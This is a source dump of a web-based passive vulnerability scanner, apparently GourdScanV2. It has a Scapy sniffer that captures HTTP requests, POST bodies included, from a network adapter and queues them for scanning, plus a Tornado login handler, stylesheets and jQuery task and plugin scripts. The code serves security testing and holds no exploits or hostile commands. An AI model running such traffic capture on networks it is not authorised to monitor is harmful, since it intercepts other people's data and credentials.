--------------------------------------------------------------------------------
/proxy/pyscapy.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # coding: utf-8
3 |
4 | """
5 | capture: capture packets on the adapter given, and put those into redis.
6 | """
7 |
8 | import re
9 | import logging
10 |
11 | from scapy.all import *
12 |
13 | from lib.redisopt import conn, content_deal
14 | from lib.out import error
15 | from lib import config
16 |
17 |
18 | logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
19 |
20 |
21 | def extract(data, out):
22 | try:
23 | methods = re.findall('(GET|POST) (.*) HTTP', data)[0]
24 | url = methods[1]
25 | method = methods[0]
26 | headers = {}
27 | if method == 'GET':
28 | head = data.split('\r\n')[1:]
29 | for h in head:
30 | if ': ' in h[2:]:
31 | headers[h.split(': ')[0]] = h.split(': ')[1]
32 | host = headers['Host'].replace(' ', '')
33 | uri = "http://%s%s" % (host, url)
34 | if out == 'true':
35 | print_request(method, host, url)
36 | content_deal(headers, host, method, postdata='', uri=uri, packet=data)
37 |
38 | elif method == 'POST':
39 | body = data.split('\r\n\r\n')[1]
40 | head = data.split('\r\n\r\n')[0].split('\r\n')[1:]
41 | for h in head:
42 | if ': ' in h[2:]:
43 | headers[h.split(': ')[0]] = h.split(': ')[1]
44 | host = headers['Host'].replace(' ', '')
45 | uri = "http://%s%s" % (host, url)
46 | if out == 'true':
47 | print_request(method, host, url)
48 | content_deal(headers, host, method, postdata=body, uri=uri, packet=data)
49 |
50 | except Exception, e:
51 | if 'url' in dir() and "method" in dir():
52 | print "%s %s" % (method, uri)
53 | print "Http Error: " + str(e)
54 |
55 |
56 | def print_request(method, host, url):
57 | print "%s %s%s" % (method, host, url)
58 |
59 |
60 | def capture(x):
61 | out = config.load()['scapy_out'].lower()
62 | if config.load()['scapy_stat'].lower() == 'false':
63 | raise Exception('scapy', 'out')
64 | if 'HTTP/' in x.lastlayer().original and x.lastlayer().original[0:4] != 'HTTP':
65 | body = x.lastlayer().original
66 | http = extract(body, out)
67 |
68 |
69 | def main():
70 | NIC = config.load()["scapy_network_card"] # network adapter name
71 | try:
72 | if NIC == 'all':
73 | sniff(filter="tcp", prn=lambda x: capture(x))
74 | else:
75 | sniff(iface=NIC, filter="tcp", prn=lambda x: capture(x))
76 | except Exception as e:
77 | error("scapy out!")
78 | conf = config.load()
79 | conf['scapy_stat'] = "false"
80 | config.update(conf)
81 |
--------------------------------------------------------------------------------
/requirements.txt:
--------------------------------------------------------------------------------
1 | requests
2 | tornado
3 | redis
4 | scapy
5 | pcapy
--------------------------------------------------------------------------------
/web/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/__init__.py
--------------------------------------------------------------------------------
/web/handlers/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/handlers/__init__.py
--------------------------------------------------------------------------------
/web/handlers/base.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- coding: utf-8 -*-
3 |
4 | import tornado.web
5 |
6 | from lib import session
7 |
8 |
9 | def authenticated(method):
10 | def wrapper(self, *args, **kwargs):
11 | if not self.login:
12 | self.set_header("Location", "/login")
13 | self.set_status(302)
14 | return
15 | else:
16 | return method(self, *args, **kwargs)
17 | return wrapper
18 |
19 |
20 | class BaseHandler(tornado.web.RequestHandler):
21 |
22 | """
23 | All the function need to login
24 | """
25 |
26 | def initialize(self):
27 | cookie = self.get_cookie("ysrc_token")
28 | if cookie == "" or not session.check(cookie):
29 | self.login = False
30 | else:
31 | self.login = True
32 |
--------------------------------------------------------------------------------
/web/static/buss/css/detail.css:
--------------------------------------------------------------------------------
1 | .portlet-body p {
2 | word-wrap: break-word;
3 | }
4 |
5 | .label-type {
6 | background-color: rgba(48, 208, 149, 0.6);
7 | }
8 |
9 | .label-server {
10 | background-color: rgba(141, 83, 185, 0.6);
11 | }
12 |
13 | .label-time {
14 | background-color: rgba(57, 208, 232, 0.6);
15 | }
16 |
17 | .btn-tag {
18 | background-color: rgba(34, 133, 204, 0.6) !important;
19 | }
20 |
21 | .tag-danger {
22 | background-color: rgba(183, 21, 21, 0.6);
23 | }
24 |
25 | .tag-high {
26 | background-color: rgba(230, 108, 61, 0.6);
27 | }
28 |
29 | .tag-middle {
30 | background-color: rgba(220, 175, 49, 0.6);
31 | }
32 |
33 | .tag-low {
34 | background-color: rgba(147, 48, 179, 0.6);
35 | }
36 |
37 | .tag-tip {
38 | background-color: rgba(57, 154, 64, 0.6);
39 | }
40 |
41 | .dropdown-menu {
42 | background-color: rgb(47, 62, 71) !important;
43 | }
44 |
45 | .tag {
46 | float: left;
47 | margin-right: 5px;
48 | margin-bottom: 5px;
49 | margin-left: 5px;
50 | }
51 |
52 | .taglink {
53 | color: white;
54 | }
55 |
56 | .portlet-body{
57 | line-height: 2;
58 | padding-top: 0;
59 | background-color:rgb(68, 87, 99) !important;
60 | min-height: 84px !important;
61 | color:white
62 | }
63 |
--------------------------------------------------------------------------------
/web/static/buss/css/main.css:
--------------------------------------------------------------------------------
1 | .text-muted {
2 | word-wrap: break-word;
3 | }
4 |
5 | .text-name {
6 | color: #333;
7 | }
8 |
9 | .text-time {
10 | color: rgba(57, 208, 177, 0.9);
11 | }
12 |
13 | .btn-tag {
14 | background-color: rgba(34, 133, 204, 0.6) !important;
15 | }
16 |
17 | select {
18 | color: #797979 !important;
19 | }
20 |
21 | .modal-body hr {
22 | border-top: 1px solid rgba(135, 135, 135, 0.6) !important;
23 | }
24 |
25 | .modal-header {
26 | border-bottom: 1px solid rgba(135, 135, 135, 0.6) !important;
27 | }
28 |
29 | .modal-footer {
30 | border-top: 1px solid rgba(135, 135, 135, 0.6) !important;
31 | }
32 |
33 | .modal-title {
34 | color:#333;
35 | }
36 |
37 | select option {
38 | background-color: #FFF;
39 | }
40 |
41 | .tag-right {
42 | margin-right: 26px;
43 | }
44 |
45 | #select-all{
46 | position: absolute;
47 | top: 51%;
48 | left: 48%;
49 | width: 20px;
50 | height: 20px;
51 | }
--------------------------------------------------------------------------------
/web/static/buss/css/plugin.css:
--------------------------------------------------------------------------------
1 | .portlet-body p {
2 | word-wrap: break-word;
3 | }
4 |
5 | #uploadjson div div input {
6 | margin-bottom: 15px;
7 | }
8 |
9 | #uploadjson div div textarea {
10 | margin-bottom: 15px;
11 | }
12 |
13 | #uploadjson div div select {
14 | margin-bottom: 15px;
15 | }
16 |
17 | .btn-tag {
18 | background-color: rgba(34, 133, 204, 0.6) !important;
19 | color: white;
20 | }
21 |
22 | .tag-danger {
23 | background-color: rgba(183, 21, 21, 0.6);
24 | float: right;
25 | margin: 5px 10px 0 0
26 | }
27 |
28 | .tag-high {
29 | background-color: rgba(230, 108, 61, 0.6);
30 | float: right;
31 | margin: 5px 10px 0 0
32 | }
33 |
34 | .tag-middle {
35 | background-color: rgba(220, 175, 49, 0.6);
36 | float: right;
37 | margin: 5px 10px 0 0
38 | }
39 |
40 | .tag-low {
41 | background-color: rgba(147, 48, 179, 0.6);
42 | float: right;
43 | margin: 5px 10px 0 0
44 | }
45 |
46 | .tag-tip {
47 | background-color: rgba(57, 154, 64, 0.6);
48 | float: right;
49 | margin: 5px 10px 0 0
50 | }
51 |
52 | .modal-header {
53 | border-bottom: 1px solid rgba(135, 135, 135, 0.6) !important;
54 | }
55 |
56 | .modal-footer {
57 | border-top: 1px solid rgba(135, 135, 135, 0.6) !important;
58 | }
59 |
60 | .modal-title {
61 | color: rgba(149, 149, 150, 0.6)
62 | }
63 |
64 | .portlet-body p span {
65 | color: rgba(255, 255, 255, 0.9)
66 | }
67 |
68 | .portlet-body p i {
69 | color: rgba(255, 255, 255, 0.9)
70 | }
71 |
72 | .dropify-wrapper {
73 | background-color: rgba(57, 76, 87, 0.6) !important;
74 | border: 0 !important;
75 | }
76 |
77 | .dropify-preview {
78 | background-color: rgba(57, 76, 87, 0.6) !important;
79 | }
80 |
81 | select option {
82 | background-color: rgba(0, 0, 0, 0.6) !important;
83 | }
84 |
85 | select {
86 | color: #999999 !important;
87 | }
88 |
89 | .jsoninfo .form-control {
90 | margin-bottom: 15px;
91 | }
--------------------------------------------------------------------------------
/web/static/buss/css/search.css:
--------------------------------------------------------------------------------
1 | .zmdi-help-outline:before {
2 | position: absolute;
3 | top: -10px;
4 | left: 0px;
5 | }
6 |
7 | .card-box {
8 | background-color: rgba(0, 0, 0, 0.6);
9 | }
10 |
11 | .logo span {
12 | color: white !important;
13 | }
14 |
15 | .tip-twitter {
16 | max-width: 375px;
17 | }
18 |
19 | #filter {
20 | background-color: rgba(0, 0, 0, 0.6)
21 | }
22 |
23 | .btn-inverse {
24 | background-color: rgba(0, 0, 0, 0.6) !important;
25 | }
26 |
27 | .btn-inverse:hover {
28 | background-color: rgba(45, 45, 45, 0.6) !important;
29 | }
30 |
31 | .zmdi-help-outline {
32 | color: rgba(255, 255, 255, 0.6) !important;
33 | }
34 |
35 | .topbar-main {
36 | background-color: black !important;
37 | }
38 |
39 | .navbar-custom {
40 | background-color: rgba(0, 0, 0, 0.26) !important;
41 | }
42 |
43 | .submenu {
44 | border-color: rgba(0, 0, 0, 0.26) !important;
45 | background-color: rgba(0, 0, 0, 0.26) !important;
46 | }
47 |
--------------------------------------------------------------------------------
/web/static/buss/css/task.css:
--------------------------------------------------------------------------------
1 | .portlet-body p {
2 | word-wrap: break-word;
3 | }
4 |
5 | .tag {
6 | color: #333;
7 | }
8 |
9 | .label-type {
10 | background-color: rgba(48, 208, 149, 0.6);
11 | }
12 |
13 | .label-server {
14 | background-color: rgba(141, 83, 185, 0.6);
15 | }
16 |
17 | .label-time {
18 | background-color: rgba(57, 208, 232, 0.6);
19 | }
20 |
21 | .label-ips {
22 | background-color: rgba(100, 100, 100, 0.6);
23 | }
24 |
25 | .btn-tag {
26 | background-color: rgba(34, 133, 204, 0.6) !important;
27 | }
--------------------------------------------------------------------------------
/web/static/buss/js/config.js:
--------------------------------------------------------------------------------
1 | $('.update').click(function () {
2 | name = $(this).attr('inputname');
3 | value = $(document.getElementsByName($(this).attr('inputname'))).val();
4 | if (name == "Masscan") {
5 | value = $("#speed").val() + "|" + value;
6 | }
7 | $.post('/updateconfig', {
8 | name: name,
9 | value: value,
10 | conftype: location.search.replace('?', '').split('&')[0].split('=')[1]
11 | }, function (data) {
12 | if (data == 'success') {
13 | swal("更新成功", '', "success");
14 | }
15 | else {
16 | swal("更新失败", '请检查数据完整性', "error");
17 | }
18 | })
19 | });
20 |
21 | $('#mastag').change(function () {
22 | var name = "Masscan_Flag";
23 | var conftype = "nascan";
24 | var value = $(this).is(':checked') == true ? "1" : "0";
25 | $.post('/updateconfig', {name: name, value: value, conftype: conftype}, function (data) {
26 | if (data == "patherr") {
27 | $("#mastag").click();
28 | swal("切换失败", '未检测到Masscan,请先安装或先配置正确的路径', "error");
29 | }
30 | else if (data == "fail") {
31 | swal("切换失败", '请检查数据完整性', "error");
32 | }
33 | })
34 | });
35 |
36 |
37 | $('#icmptag').change(function () {
38 | var name = "Port_list_Flag";
39 | var conftype = "nascan";
40 | var value = $(this).is(':checked') == true ? "1" : "0";
41 | $.post('/updateconfig', {name: name, value: value, conftype: conftype}, function (data) {
42 | if (data !== 'success') {
43 | swal("更新失败", '请检查数据完整性', "error");
44 | }
45 | })
46 | });
47 |
48 | $('.zmdi-help-outline').poshytip({
49 | className: 'tip-twitter',
50 | showTimeout: 1,
51 | alignTo: 'target',
52 | alignX: 'center',
53 | alignY: 'bottom',
54 | offsetY: 5,
55 | allowTipHover: false,
56 | fade: false,
57 | slide: false
58 | });
--------------------------------------------------------------------------------
/web/static/buss/js/plugin.js:
--------------------------------------------------------------------------------
1 | $('.dropify').dropify({
2 | messages: {
3 | 'default': 'Drag and drop a file here or click',
4 | 'replace': 'Drag and drop or click to replace',
5 | 'remove': 'Remove',
6 | 'error': 'Ooops, something wrong appended.'
7 | },
8 | error: {
9 | 'fileSize': 'The file size is too big (1M max).'
10 | }
11 | });
12 |
13 | $('#field-type').change(function () {
14 | if ($(this).val() == 'json') {
15 | $('.uploadjson').css('display', '');
16 | $('.uploadfile').css('display', 'none');
17 | } else if ($(this).val() == 'script') {
18 | $('.uploadjson').css('display', 'none');
19 | $('.uploadfile').css('display', '');
20 | } else {
21 | $('.uploadjson').css('display', 'none');
22 | $('.uploadfile').css('display', 'none');
23 | }
24 | });
25 |
26 | $('#add').click(function () {
27 | name = $('#field-name').val();
28 | info = $('#field-info').val();
29 | author = $('#field-author').val();
30 | level = $('#field-risk').val();
31 | vultype = $('#field-new-vultype').val() == '' ? $('#field-vultype').val() : $('#field-new-vultype').val();
32 | type = $('#field-vultype').val();
33 | methodurl = $('#field-url').val();
34 | pdata = $('#field-data').val();
35 | analyzing = $('#field-analyzing').val();
36 | analyzingdata = $('#field-analyzingdata').val();
37 | tag = $('#field-tag').val();
38 | condition = $('#field-condition').val();
39 | pluginurl = $('#field-pluginurl').val();
40 | path = $('#field-upload').val();
41 | filename = path.substring(path.lastIndexOf('\\')).split('.')[0];
42 | $.ajaxFileUpload({
43 | url: "/addplugin",
44 | secureuri: false,
45 | type: "POST",
46 | data: {
47 | name: name,
48 | info: info,
49 | author: author,
50 | level: level,
51 | vultype: vultype,
52 | type: type,
53 | methodurl: methodurl,
54 | pdata: pdata,
55 | analyzing: analyzing,
56 | analyzingdata: analyzingdata,
57 | tag: tag,
58 | keyword: condition,
59 | pluginurl: pluginurl
60 | },
61 | dataType: "json",
62 | fileElementId: "field-upload",
63 | success: function (e) {
64 | },
65 | error: function (e) {
66 | if (e.responseText == 'success') {
67 | swal("新增成功", '', "success");
68 | $('.confirm').click(function () {
69 | $('#close').click();
70 | location.reload();
71 | });
72 |
73 | } else {
74 | swal("新增失败", "请检查数据是否完整或是否存在特殊字符!", "error")
75 | }
76 | }
77 | });
78 |
79 | });
80 |
81 | $('.zmdi-close').click(function () {
82 | var oid = $(this).attr('id');
83 | swal({
84 | title: "确认删除?",
85 | text: "所有删除操作将不可逆,请谨慎操作",
86 | type: "warning",
87 | showCancelButton: true,
88 | confirmButtonColor: "#DD6B55",
89 | confirmButtonText: "确定",
90 | cancelButtonText: "取消",
91 | closeOnConfirm: false
92 | },
93 | function () {
94 | $.post('/deleteplugin', {oid: oid}, function (e) {
95 | if (e == 'success') {
96 | swal("已删除", '', "success");
97 | $('#' + oid).parent().parent().parent().parent().remove()
98 | }
99 | else {
100 | swal("删除失败", '', "error");
101 | }
102 | })
103 |
104 | });
105 | });
--------------------------------------------------------------------------------
/web/static/buss/js/plugindetail.js:
--------------------------------------------------------------------------------
1 | function getQueryString(name) {
2 | var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)", "i");
3 | var r = window.location.search.substr(1).match(reg);
4 | if (r != null) return unescape(r[2]);
5 | return null;
6 | }
7 |
8 |
9 | jQuery('#datepicker').datepicker({
10 | format: "mm/dd/yyyy",
11 | clearBtn: true,
12 | multidate: true,
13 | multidateSeparator: ","
14 | });
15 | jQuery('#date-range').datepicker({
16 | toggleActive: true
17 | });
18 | function nextPage() {
19 | page = parseInt(getQueryString('page') == null ? 1 : getQueryString('page')) + 1;
20 | location.href = '/taskdetail?taskid=' + getQueryString('taskid') + "&page=" + page;
21 | }
22 | function prePage() {
23 | page = parseInt(getQueryString('page') == null ? 1 : getQueryString('page')) - 1;
24 | if (page > 0) {
25 | location.href = '/taskdetail?taskid=' + getQueryString('taskid') + "&page=" + page;
26 | } else {
27 | alert('已到达首页');
28 | }
29 | }
30 |
31 | $('.taglink').click(function () {
32 | $(this).attr('href', "/taskdetail?taskid=" + getQueryString('taskid') + "&taskdate=" + $(this).attr('title'))
33 |
34 | });
--------------------------------------------------------------------------------
/web/static/buss/js/result.js:
--------------------------------------------------------------------------------
1 | function getQueryString(name) {
2 | var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)", "i");
3 | var r = window.location.search.substr(1).match(reg);
4 | if (r != null) return unescape(r[2]);
5 | return null;
6 | }
7 |
8 |
9 | $('#checkboxall').click(function () {
10 | if ($('#checkboxall').prop('checked') == true) {
11 | $('.itemcheck').prop('checked', true)
12 | } else {
13 | $('.itemcheck').prop('checked', false)
14 | }
15 | });
16 |
17 | $('#checkboxrev').click(function () {
18 | $.each($('.itemcheck'), function (e) {
19 | if ($(this).prop('checked') == true) {
20 | $(this).prop('checked', false)
21 | } else {
22 | $(this).prop('checked', true)
23 | }
24 | })
25 | });
26 |
27 | $('#field-type').change(function () {
28 | type = $('#field-type').val();
29 | risk = $('#field-risk').val();
30 | search = $('#field-search').val();
31 | $('#field-plugin').children().remove();
32 | $.post('/getplugin', {
33 | type: type,
34 | risk: risk,
35 | search: search
36 | }, function (e) {
37 | $.each(e, function (i, n) {
38 | $('#field-plugin').append("");
39 | });
40 | $('#field-plugin').multiSelect('refresh');
41 | }, "json")
42 | });
43 |
44 | $('#field-risk').change(function () {
45 | type = $('#field-type').val();
46 | risk = $('#field-risk').val();
47 | search = $('#field-search').val();
48 | $('#field-plugin').children().remove();
49 | $.post('/getplugin', {
50 | type: type,
51 | risk: risk,
52 | search: search
53 | }, function (e) {
54 | $.each(e, function (i, n) {
55 | $('#field-plugin').append("");
56 | });
57 | $('#field-plugin').multiSelect('refresh');
58 | }, "json")
59 | });
60 |
61 | $('#field-search').bind('keyup', function (event) {
62 | if (event.keyCode == "13") {
63 | type = $('#field-type').val();
64 | risk = $('#field-risk').val();
65 | search = $('#field-search').val();
66 | $('#field-plugin').children().remove();
67 | $.post('/getplugin', {
68 | type: type,
69 | risk: risk,
70 | search: search
71 | }, function (e) {
72 | $.each(e, function (i, n) {
73 | $('#field-plugin').append("");
74 | });
75 | $('#field-plugin').multiSelect('refresh');
76 | }, "json")
77 | }
78 | });
79 |
80 | $('#savetask').click(function () {
81 | title = $('#field-name').val();
82 | condition = getQueryString('q');
83 | plugin = $('#field-plugin').val().join(",");
84 | plan = $('#field-plan').val();
85 | isupdate = $('#field-isupdate').val() == "" ? "0" : $('#field-isupdate').val();
86 | resultcheck = $('#resultcheck').prop('checked')
87 | var ids = [];
88 | if (!resultcheck) {
89 | $.each($('.itemcheck:checked'), function (i, n) {
90 | ids.push($(n).attr('infoid'))
91 | });
92 | ids = ids.join(',');
93 | }
94 | $.post('/addtask', {
95 | title: title,
96 | condition: condition,
97 | plugin: plugin,
98 | ids: ids,
99 | plan: plan,
100 | isupdate: isupdate,
101 | resultcheck: resultcheck
102 | }, function (e) {
103 | if (e == 'success') {
104 | swal("新增成功", '', "success");
105 | $('.confirm').click(function () {
106 | location.href = "/task";
107 | })
108 | } else {
109 | swal("新增失败", "请检查数据是否完整或是否选择扫描对象!", "error")
110 | }
111 | })
112 | });
113 |
114 | $('#field-plan').change(function () {
115 | if ($(this).val() == 0) {
116 | $('#field-isupdate').attr('disabled', 'disabled')
117 | } else {
118 | $('#field-isupdate').removeAttr('disabled')
119 | }
120 | });
121 |
122 | $('#addnewitems').click(function () {
123 | ips = $('#field-newitems').val().split(',');
124 | for (i in ips) {
125 | $('#content').append("
");
136 | }
137 | $('#tips').html("");
138 | $('#closenewitem').click();
139 | });
140 |
141 | $('.tag').click(function () {
142 | if ($(this).hasClass('zmdi-plus')) {
143 | $(this).removeClass('zmdi-plus').addClass('zmdi-minus')
144 | } else {
145 | $(this).removeClass('zmdi-minus').addClass('zmdi-plus')
146 | }
147 | });
148 |
149 | $(document).ready(function () {
150 | if ($('#content').html().trim() == '') {
151 | if (getQueryString('q') == null) {//自定义搜索
152 | $('.wrapper .container').append("请添加扫描目标!
")
153 | } else {//搜索无结果
154 | $('.wrapper .container').append("无符合该条件的结果!
")
155 | }
156 | }
157 | });
158 |
159 | $('#select-all').click(function(){
160 | if($('#field-plugin').val()==null){
161 | $('#field-plugin').multiSelect('select_all');
162 | }else{
163 | $('#field-plugin').multiSelect('deselect_all');
164 | }
165 | });
166 |
167 |
168 |
--------------------------------------------------------------------------------
/web/static/buss/js/task.js:
--------------------------------------------------------------------------------
1 | function getQueryString(name) {
2 | var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)", "i");
3 | var r = window.location.search.substr(1).match(reg);
4 | if (r != null) return unescape(r[2]);
5 | return null;
6 | }
7 |
8 | $('.tag').click(function () {
9 | if ($(this).hasClass('zmdi-plus')) {
10 | $(this).removeClass('zmdi-plus').addClass('zmdi-minus')
11 | } else if ($(this).hasClass('zmdi-minus')) {
12 | $(this).removeClass('zmdi-minus').addClass('zmdi-plus')
13 | }
14 | });
15 | $('.zmdi-close').click(function () {
16 | var oid = $(this).attr('id');
17 | swal({
18 | title: "确认删除?",
19 | text: "所有删除操作将不可逆,请谨慎操作",
20 | type: "warning",
21 | showCancelButton: true,
22 | confirmButtonColor: "#DD6B55",
23 | confirmButtonText: "确定",
24 | cancelButtonText: "取消",
25 | closeOnConfirm: false
26 | },
27 | function () {
28 | $.post('/deletetask', {oid: oid}, function (e) {
29 | if (e == 'success') {
30 | swal("已删除", '', "success");
31 | $('#' + oid).parent().parent().parent().parent().parent().remove()
32 | }
33 | else {
34 | swal("删除失败", '', "error");
35 | }
36 | })
37 |
38 | });
39 | });
40 |
41 | $('.recheck').click(function () {
42 | taskid = $(this).parents('h4').children().first().attr('href').split('=')[1];
43 | swal({
44 | title: "复测该任务",
45 | text: "立即重新执行该任务(历史数据不会删除)",
46 | type: "info",
47 | showCancelButton: true,
48 | closeOnConfirm: false,
49 | showLoaderOnConfirm: true
50 | },
51 | function () {
52 | $.get('/taskrecheck', {taskid: taskid}, function (e) {
53 | if (e == 'success') {
54 | swal("操作成功", "该任务将重新执行!", "success")
55 | } else {
56 | swal("操作失败", "该任务非可复测类型,要求已经完成的非计划型任务", "error")
57 | }
58 | })
59 | });
60 | });
61 |
62 |
63 | function nextPage() {
64 | page = parseInt(getQueryString('page') == null ? 1 : getQueryString('page')) + 1;
65 | location.href = '/task?page=' + page;
66 | }
67 | function prePage() {
68 | page = parseInt(getQueryString('page') == null ? 1 : getQueryString('page')) - 1;
69 | if (page > 0) {
70 | location.href = '/task?page=' + page;
71 | }
72 | else {
73 | alert('已到达首页');
74 | }
75 | }
--------------------------------------------------------------------------------
/web/static/css/elements.css:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/css/elements.css
--------------------------------------------------------------------------------
/web/static/css/gourdscan.css:
--------------------------------------------------------------------------------
1 | body{
2 | background-image: url(../images/big/bg4.jpg) !important;
3 | }
4 |
5 | html{
6 | background: initial !important;
7 | }
8 |
9 | .config-label{
10 | margin-bottom: 14px !important;
11 | }
12 |
13 | .config-input{
14 | height: 30px !important;
15 | float: right;
16 | width: 55% !important;
17 | }
18 | .red{
19 | color: red;
20 | }
21 |
22 | .a-danger{
23 | color: #d9534f;
24 | }
25 |
26 | .a-success{
27 | color: #5cb85c;
28 | }
29 |
30 | .a-info{
31 | color: #5bc0de;
32 | }
33 |
34 | .a-warning{
35 | color: #f0ad4e;
36 | }
--------------------------------------------------------------------------------
/web/static/css/layout.css:
--------------------------------------------------------------------------------
1 | .fa {
2 | width:16px;
3 | height:16px;
4 | }
--------------------------------------------------------------------------------
/web/static/css/main.css:
--------------------------------------------------------------------------------
1 | body{
2 | background:#f5f6f7;
3 | }
4 |
5 | /* header */
6 |
7 | #top{
8 | background: #34495e;
9 | height:63px;
10 | color:#FFF;
11 | font-size:14px;
12 | }
13 | #header-logo{
14 | margin-top:5px;
15 | padding-top:0;
16 | }
17 | #top nav a{
18 | color:#FFF;
19 | font-size:16px;
20 | }
21 | #top nav a:hover{
22 | text-decoration: none;
23 | color:#2bbfbd;
24 | background: #34495e;
25 | }
26 | #top nav ul li {
27 | margin-top:5px;
28 | }
29 |
30 | #nav-right {
31 | float:right;
32 | margin-right:10px;
33 | }
34 |
35 | #nav-right ul {
36 | margin-top:15px;
37 | list-style: none;
38 | }
39 |
40 | #nav-right ul li{
41 | display: inline-block;
42 | margin:10px;
43 | }
44 |
45 |
46 | /* side nav */
47 |
48 | #side-nav{
49 | position: absolute;
50 | width:220px;
51 | left:0;
52 | top:63px;
53 | bottom: 0;
54 | background: #3f5469;
55 | font-size:16px;
56 | padding-bottom: 0;
57 | margin-bottom: 0;
58 | }
59 |
60 | #side-nav {
61 | list-style: none;
62 | }
63 |
64 | #side-nav li {
65 | display: block;
66 | color:#FFF;
67 | margin-top:20px;
68 | }
69 | #side-nav li i{
70 | width:16px;
71 | height:16px;
72 | margin-right:10px;
73 | }
74 |
75 | #side-nav li a {
76 | display: block;
77 | color : #FFF;
78 | }
79 |
80 | #side-nav li a:hover {
81 | display: block;
82 | color : #2bbfbd;
83 | text-decoration: none;
84 | }
85 |
86 | /* content */
87 |
88 | #page-wrapper{
89 | position: absolute;
90 | top:63px;
91 | left:220px;
92 |
93 | }
--------------------------------------------------------------------------------
/web/static/css/normalize.min.css:
--------------------------------------------------------------------------------
1 | button,hr,input{overflow:visible}audio,canvas,progress,video{display:inline-block}progress,sub,sup{vertical-align:baseline}html{font-family:sans-serif;line-height:1.15;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}body{margin:0} menu,article,aside,details,footer,header,nav,section{display:block}h1{font-size:2em;margin:.67em 0}figcaption,figure,main{display:block}figure{margin:1em 40px}hr{box-sizing:content-box;height:0}code,kbd,pre,samp{font-family:monospace,monospace;font-size:1em}a{background-color:transparent;-webkit-text-decoration-skip:objects}a:active,a:hover{outline-width:0}abbr[title]{border-bottom:none;text-decoration:underline;text-decoration:underline dotted}b,strong{font-weight:bolder}dfn{font-style:italic}mark{background-color:#ff0;color:#000}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative}sub{bottom:-.25em}sup{top:-.5em}audio:not([controls]){display:none;height:0}img{border-style:none}svg:not(:root){overflow:hidden}button,input,optgroup,select,textarea{font-family:sans-serif;font-size:100%;line-height:1.15;margin:0}button,input{}button,select{text-transform:none}[type=submit], [type=reset],button,html [type=button]{-webkit-appearance:button}[type=button]::-moz-focus-inner,[type=reset]::-moz-focus-inner,[type=submit]::-moz-focus-inner,button::-moz-focus-inner{border-style:none;padding:0}[type=button]:-moz-focusring,[type=reset]:-moz-focusring,[type=submit]:-moz-focusring,button:-moz-focusring{outline:ButtonText dotted 1px}fieldset{border:1px solid silver;margin:0 2px;padding:.35em .625em .75em}legend{box-sizing:border-box;color:inherit;display:table;max-width:100%;padding:0;white-space:normal}progress{}textarea{overflow:auto}[type=checkbox],[type=radio]{box-sizing:border-box;padding:0}[type=number]::-webkit-inner-spin-button,[type=number]::-webkit-outer-spin-button{height:auto}[type=search]{-webkit-appearance:textfield;outline-offset:-2px}[type=search]::-webkit-search-cancel-button,[type=search]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{-webkit-appearance:button;font:inherit}summary{display:list-item}[hidden],template{display:none}/*# sourceMappingURL=normalize.min.css.map */
--------------------------------------------------------------------------------
/web/static/css/responsive.css:
--------------------------------------------------------------------------------
1 | /*
2 | Template Name: Adminto Dashboard
3 | Author: CoderThemes
4 | Email: coderthemes@gmail.com
5 | File: Responsive
6 | */
7 | @media only screen and (max-width: 6000px) and (min-width: 700px) {
8 | .wrapper.right-bar-enabled .right-bar {
9 | right: 0;
10 | z-index: 99;
11 | }
12 | .searchbar{
13 | width:600px !important;
14 | }
15 | }
16 | @media (max-width: 1023px) {
17 | .button-menu-mobile {
18 | display: block !important;
19 | }
20 |
21 | }
22 | @media (min-width: 768px) and (max-width: 991px) {
23 | body {
24 | overflow-x: hidden;
25 | }
26 | }
27 | @media (max-width: 767px) {
28 | body {
29 | overflow-x: hidden;
30 | }
31 | .enlarged .left.side-menu {
32 | margin-left: -75px;
33 | }
34 | .topbar-left {
35 | width: 70px !important;
36 | }
37 | .content-page .content {
38 | margin-top: 95px;
39 | }
40 | .topbar .topbar-left {
41 | height: 75px;
42 | }
43 | .navbar-default {
44 | background-color: #ffffff;
45 | box-shadow: 0 0px 24px 0 rgba(0, 0, 0, 0.06), 0 1px 0px 0 rgba(0, 0, 0, 0.02);
46 | }
47 | .navbar-nav {
48 | margin: 0px;
49 | display: inline-block;
50 | }
51 | .navbar-nav li {
52 | display: inline-block;
53 | line-height: 1px;
54 | }
55 | .navbar-nav.navbar-right {
56 | float: right;
57 | }
58 | /*.notification-box {*/
59 | /*display: inline;*/
60 | /*}*/
61 | .notification-box ul li a {
62 | line-height: 46px;
63 | }
64 | .notification-box .pulse {
65 | top: 5px;
66 | }
67 | /*.notification-box .dot {*/
68 | /*top: -7px;*/
69 | /*left: -3px;*/
70 | /*}*/
71 | #topnav .navbar-toggle {
72 | margin-right: 5px;
73 | }
74 | .navbar-nav .open .dropdown-menu {
75 | background-color: #ffffff;
76 | box-shadow: 0 2px 5px 0 rgba(0, 0, 0, 0.26);
77 | left: auto;
78 | position: absolute;
79 | right: 0;
80 | }
81 | .navbar-nav .open .dropdown-menu li {
82 | display: block;
83 | }
84 | .content-page {
85 | margin-left: 0px !important;
86 | }
87 | .footer {
88 | left: 0px !important;
89 | }
90 | .mobile-sidebar {
91 | left: 0px;
92 | }
93 | .mobile-content {
94 | left: 250px;
95 | right: -250px;
96 | }
97 | .wrapper-page {
98 | width: 90%;
99 | }
100 | .dataTables_wrapper .col-xs-6 {
101 | width: 100%;
102 | text-align: left;
103 | }
104 | div#datatable-buttons_info {
105 | float: none;
106 | }
107 | }
108 | @media (max-width: 480px) {
109 | .side-menu {
110 | z-index: 10 !important;
111 | }
112 | .button-menu-mobile {
113 | display: block;
114 | }
115 | .search-bar {
116 | display: none !important;
117 | }
118 | }
